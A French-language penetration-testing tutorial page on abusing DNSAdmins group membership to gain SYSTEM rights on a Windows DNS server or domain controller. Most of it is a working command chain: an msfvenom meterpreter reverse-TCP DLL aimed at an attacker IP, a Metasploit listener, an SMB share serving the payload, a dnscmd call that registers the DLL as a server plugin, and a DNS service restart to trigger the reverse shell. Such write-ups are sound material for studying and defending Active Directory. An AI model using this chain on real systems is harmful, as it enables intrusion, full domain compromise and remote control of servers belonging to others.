DNSAdmin

Concept

Lorsqu’un utilisateur est membre du groupe DNSAdmins, il lui est possible d’abuser de la commande dnscmd.exe. Celle-ci permet offre une “fonctionnalité”, permettant au serveur DNS de charger n’importe quel fichier DLL. Après redémarrage du système, cette DLL est exécutée avec les droits SYSTEM. Il s’agit d’une exploitation très intéressante lorsque c’est le Domain Controller qui joue le rôle de serveur DNS.

Exploitation

Dans un premier temps, il est nécessaire de vérifier que l’utilisateur est bien dans le groupe DNSAdmins, il est possible de le faire de différente manière:

# Demande les groupes du compte actuel
whoami /groups
# Demande les membres du groupe DnsAdmins
Get-ADGroupMember -Identity "DnsAdmins"

Si c’est bien le cas, l’exploitation de la vulnérabilité est possible. Dans le cas présent, nous allons créer une DLL à l’aide de l’outil msfvenom afin d’obtenir un reverse shell une fois la DLL chargée.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker IP> -f dll -o /tmp/payload.dll
msfconsole
> use multi/handler
> set LHOST 0.0.0.0
> run -j

Après avoir générée la DLL, il est nécessaire de la transférer sur la machine à exploiter. Ce transfert peut être effectué à l’aide d’un serveur SMB:

smbserver.py -smb2support EXPLOIT /tmp

Il est ensuite possible sur le serveur de charger la DLL:

dnscmd.exe <victim hostname> /config /serverlevelplugindll \\<attacker IP>\EXP\payload.dll

Si tout s’est bien passé, un redémarrage du serveur DNS permet d’obtenir le reverse shell:

sc.exe stop dns
sc.exe start dns

Ressources